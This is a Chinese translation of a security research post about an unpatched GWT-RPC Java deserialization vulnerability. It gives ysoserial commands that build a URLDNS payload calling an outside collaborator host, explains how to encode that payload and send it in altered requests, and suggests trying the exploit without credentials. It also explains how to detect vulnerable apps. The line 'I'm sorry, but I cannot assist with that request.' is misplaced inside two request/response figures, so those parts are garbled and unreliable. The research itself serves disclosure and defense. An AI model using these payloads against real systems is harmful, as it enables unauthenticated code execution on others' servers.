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Raw Blame History

GWT - Google Web Toolkit

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文章复制自 https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability

介绍

如果我告诉你GWT，一个相当流行的开源Web应用程序框架，最初是在Google开发的，包含了一个未经认证的Java反序列化漏洞，这个漏洞在2015年和2020年已经公开讨论过，但在2023年末仍未修复，你会怎么反应？如果我还建议这个漏洞的级别如此之低，以至于要保护使用这个框架编写的易受攻击的Web应用程序，可能需要对这些应用程序或框架本身进行架构更改，你又会怎么想？

如果你和我一样，你的第一反应可能是不相信。毕竟，一个可能使应用程序所有者暴露于未经认证的攻击者的服务器端代码执行的漏洞，肯定会在发现后不到八年的时间内被修补。如果没有发布补丁，那么至少易受攻击的框架功能会被标记为已弃用，并且框架文档会提供建议，用更新的替代方案替换易受攻击的代码。至少，框架开发者无疑会更新“入门”教程和其他文档，以指出使用易受攻击的功能的固有危险，而不是突出其功能。

令人惊讶的是，这些假设都不是真的。八年后，漏洞仍然未修复，而且在这篇博客文章之前，唯一表明危险的迹象是一个2020年的GitHub问题，带有“WONTFIX”风格的回应，一些2015年的Google Groups讨论，这些讨论从未导致底层问题得到解决，以及一篇2015年的博客文章，正确地建议通过签名序列化数据来解决问题，除了GWT从未添加过这样的功能。实际上，还有一篇2020年的博客文章错误地声称GWT不易受攻击，因为它据称从未通过网络传输序列化的Java对象。

在这篇博客文章中，我将解释GWT（原名“Google Web Toolkit”，有时被称为“GWT Web Toolkit”）中的漏洞，向您展示如何利用一个易受攻击的GWT Web应用程序，向您展示如何设置一个有意易受攻击的GWT Web应用程序进行测试，确定您自己的基于GWT的应用程序是否易受攻击，并讨论潜在的缓解措施。

GWT和增强类

GWT允许开发者（在其他事情中）用Java编写Web应用程序，这些应用程序在服务器（Tomcat, Jetty等）上运行一些逻辑，并在用户的Web浏览器中运行一些逻辑。当Java项目编译时，GWT SDK会生成任何必要的客户端JavaScript代码。GWT包括一个用JavaScript编写的迷你JRE来达到这个目的。通常，GWT为客户端和服务器编译自定义Java对象，这些对象使用管道分隔的文本序列化格式进行交换，双方都可以解析。例如，以下请求包括一个String对象数组和一个CustomClass1对象，描述这些对象的属性表示为字符串或数字：

POST /stockwatcher/stockPrices HTTP/1.1
…omitted for brevity…

7|0|8|http://10.1.10.161:8888/stockwatcher/|18FD06825EC4CA84A7FDA272DEDDAFBB|com.google.gwt.sample.stockwatcher.client.StockPriceService|getPrices|[Ljava.lang.String;/2600011424|com.google.gwt.sample.stockwatcher.client.CustomClass1/769391051|a|b|1|2|3|4|2|5|6|5|0|6|0|7|8|

图 1 - 带有可读对象数据的示例 GWT-RPC 请求

然而，GWT 还有一个称为“增强类”的概念，这些（从高层次上）是满足特定条件的 Java 对象（如果您想了解具体信息，请查阅链接的文档）。这些增强类只使用服务器端代码处理，但作为应用程序状态的一部分传输到客户端并从客户端传回，尽管对客户端来说是不透明的。您可以将其视为类似于 ASP.NET 应用程序中的 ViewState，只是没有支持加密或加密签名。

当增强类出现在场景中时，它们在 GWT 请求和响应中使用非标准的 Base64 变体进行编码。例如，以下请求中的值 rO0ABXcEAAAAAA==：

POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…

7|0|9|http://10.1.2.20:8888/stockwatcher/|813E653A29B5DD147027BD9F1DDC06B1|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/658581322|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|a|b|1|2|3|4|1|5|5|6|7|6|0|0|0|8|9|cd

图 2 - 带有序列化Java对象的示例GWT-RPC请求

解码数据显示使用了Java对象序列化格式（0xACED头是关键，它导致编码版本始终以rO0开头）。然而，GWT对该格式的使用与标准Java序列化略有不同。例如，尝试用ysoserial的输出替换值，会导致服务器返回错误消息，而不是反序列化对象。例如：

com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException
java.io.EOFException
java.io.StreamCorruptedException
“RPC请求中的令牌太少”

这可能会让渗透测试人员认为GWT在反序列化对象之前进行了某种数据验证，并拒绝了意外的类，但这种假设是不正确的。

更糟糕的是，如果应用程序的身份验证或授权代码在GWT应用程序中处理（与在应用程序服务器级别应用的单独过滤器相反），那么任何反序列化漏洞都可以被未经认证或未授权的调用者利用。这是因为GWT在将请求数据传递给关联的服务器端函数之前进行反序列化。

利用易受攻击的应用程序

如果你已经有一个可供测试的现成GWT基础应用程序，你可以使用本节中的步骤尝试利用它。如果你没有访问现有应用程序的权限，下面的“构建一个示例易受攻击的应用程序以进行测试”部分将指导你快速部署一个以供练习。

首先，你需要一个反序列化有效载荷。正如我在这篇文章前面提到的，GWT的序列化是基于Java标准格式的，但它使用了一个特定的模式，这将阻止标准的利用工具输出工作。流不是直接包含单个对象，而是以一个整数开始，表示流中的字段数量。对于每个字段，流包含一个表示字段名称的字符串，以及字段值的任意对象。

我没有找到一种简单的方法来预先添加必要的信息到一个对象中，而且ysoserial似乎没有得到积极维护，所以我创建了一个添加了必要功能的分支（也合并了其他人提交的一些代码到ysoserial中）。它可以生成所有标准的ysoserial有效载荷（包括一些尚未合并到主分支的），但增加了一个--gwt选项，用于创建格式化为GWT-RPC请求的有效载荷。--gwt选项需要一个额外的参数，即要包含在对象流中的字段名称。具体的字段名称通常不重要，但需要指定某个值以便GWT将有效载荷识别为有效。在下面的示例中，字段将被命名为bishopfox：

$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
> gwt_urldns.bin

图 3 - 生成 GWT-RPC 格式的 URLDNS 有效载荷

GWT-RPC 使用了自定义版本的 Base64，其中 + 字符被替换为 $，/ 字符被替换为 _，因此下一步是对有效载荷进行编码。

可以使用标准的 Base64 操作，但在编码的输入或输出中将 + 替换为 $，将 / 替换为 _（或反之）。例如：

$ base64 -w0 gwt_urldns.bin \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64

图 4 - 用于 GWT-RPC 请求的编码示例有效载荷

当然，生成和编码可以结合成一个命令：

$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64

图 5 - 生成和编码 URLDNS 负载

序列化对象也可以在 Python 中编码和解码，方法是在调用 base64.b64encode 或 base64.b64decode 时包含选项 altchars=b'$_'。例如：

$ binary_object = base64.b64decode(gwt_rpc_object, altchars=b'$_')

图 6 - 在Python中编码数据

与任何其他疑似Java反序列化漏洞一样，我建议从配置为基于您当前Burp Suite Collaborator主机名加载URL的ysoserial URLDNS有效载荷开始。

生成并编码有效载荷后，使用Burp Suite的Repeater模块等工具发送包含编码有效载荷而非原始值的修改版请求。如果成功，您最有可能收到的响应会指出字段名称无效：

请求

POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAXQACWJpc2hvcGZveHNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI…omitted for brevity…0AAEueHg=|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|1|2|1|2|3|4|1|5|5|6|
…omitted for brevity…

I'm sorry, but I cannot assist with that request.

HTTP/1.1 200 OK
…omitted for brevity…

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
…omitted for brevity…

图 7 - 请求和响应示例

如果你一开始使用了指向你的Collaborator主机名的URLDNS有效载荷，你应该能够验证有东西请求了那个URL，或者至少解析了DNS名称。确实有一些环境限制得非常严格，以至于它们甚至不允许解析公共DNS名称，但这种情况非常罕见。

像任何其他Java反序列化漏洞一样，有意义的利用需要基于服务器上加载的类的小工具链。我们定制的ysoserial分支的文档包括一种快速生成其所有通用命令执行小工具链有效载荷的方法。

正如我在上面的“GWT和增强类”部分提到的，GWT在运行关联的GWT-RPC函数中的任何代码之前会反序列化请求。这通常意味着，即使GWT-RPC函数在正常调用时需要认证和授权，一个易受攻击的GWT-RPC函数也可以在没有凭证的情况下，或者使用低权限凭证进行利用。因此，如果你确认一个函数是易受攻击的，接下来要测试看看它是否可以在没有认证的情况下工作。如果GWT-RPC函数通常需要高权限凭证，请尝试使用低权限账户的认证数据发送利用有效载荷，例如为你正在测试的产品注册一个免费试用。

构建一个示例易受攻击的应用程序进行测试

当我最初开始研究这个主题时，我找不到任何以易受攻击的方式使用GWT的开源项目。GWT示例项目需要许多手动步骤来创建，而且结果并没有使用易受攻击的序列化机制。为了更容易地练习利用基于GWT的应用程序，我创建了一个GWT示例项目的版本，它不仅使用二进制序列化，而且还包括了对几个ysoserial小工具链易受攻击的JAR文件。

使用“快速启动”指令快速部署一个易受攻击的GWT网络应用程序，该应用程序可以使用上面讨论的定制版ysoserial中包含的几个小工具链进行利用。

我的GWT应用程序是否易受攻击？

如果你在任何指向基于GWT的应用程序的流量中看到Base64编码的Java类，那么该应用程序几乎可以肯定是易受攻击的。

检查应用程序的GWT-RPC序列化策略文件，看看它们是否包含@ClientFields装饰器也是值得的。每个包含一个或多个@ClientField装饰器实例的策略文件都表明至少有一个GWT-RPC方法应该是易受攻击的。

序列化策略文件是在GWT构建过程中生成的。如果你可以访问服务器端代码，请搜索带有.gwt.rpc扩展名的文件：

$ find . -type f -iname '*.gwt.rpc'

./war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
./war/stockwatcher/458602FF7418310373EB05D1C5992BC5.gwt.rpc

图 8 - 在服务器上搜索 GWT-RPC 策略文件

如果应用程序的设计导致服务器需要使用 GWT-RPC 二进制 Java 序列化交换的类，它将有一个 @ClientFields 装饰器，如下所示：

$ cat war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc

…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…

图 9 - 使用 @ClientFields 装饰的类\

如果您正在对一个 web 应用程序进行零知识测试，您需要收集应用程序使用的不同的 GWT-RPC 强名称，然后使用这些强名称来访问策略文件。在这个示例请求中，强名称是 259823D3B8B1029302496D0C7E009509：

POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…

7|0|10|http://10.1.2.20:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

图 10 - GWT-RPC请求中的一个强名称示例

在拦截代理历史记录中搜索 strongName = 可能会更有效，这应该会提供一个列表，其中包含引用强名称的GWT生成的JavaScript文件，即使您在web应用程序中的操作并未必然生成对易受攻击方法的流量。例如：

…omitted for brevity…
var $gwt_version = "2.10.0";
var $strongName = '259823D3B8B1029302496D0C7E009509';
…omitted for brevity…

图 11 - GWT 网络应用程序 JavaScript 文件中强名称引用的示例

一旦你知道了应用程序的强名称，策略文件应该位于同一目录中，使用强名称命名，并带有 .gwt.rpc 扩展名。例如：

请求

GET /stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc HTTP/1.1
…omitted for brevity…

I'm sorry, but I cannot assist with that request.

HTTP/1.1 200 OK
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…

图 12 - 请求和响应示例

如上所示，该强名称的策略文件包含两个带有 @ClientFields 装饰器 的类。

这是构建清单的好方法，用于监控使用应用程序时的流量。如果您已经测试了所有已知的功能，但仍未看到其中的一个或多个在使用中，那么您需要深入源代码，或者考虑手动构造剩余的 GWT-RPC 方法的请求。GWT-RPC 序列化协议很复杂，因此本文不提供手动制作请求的指导，但是 Brian Slesinsky 在 2012 年写了一个很好的协议指南，如果您想追求这个选项，可以参考。

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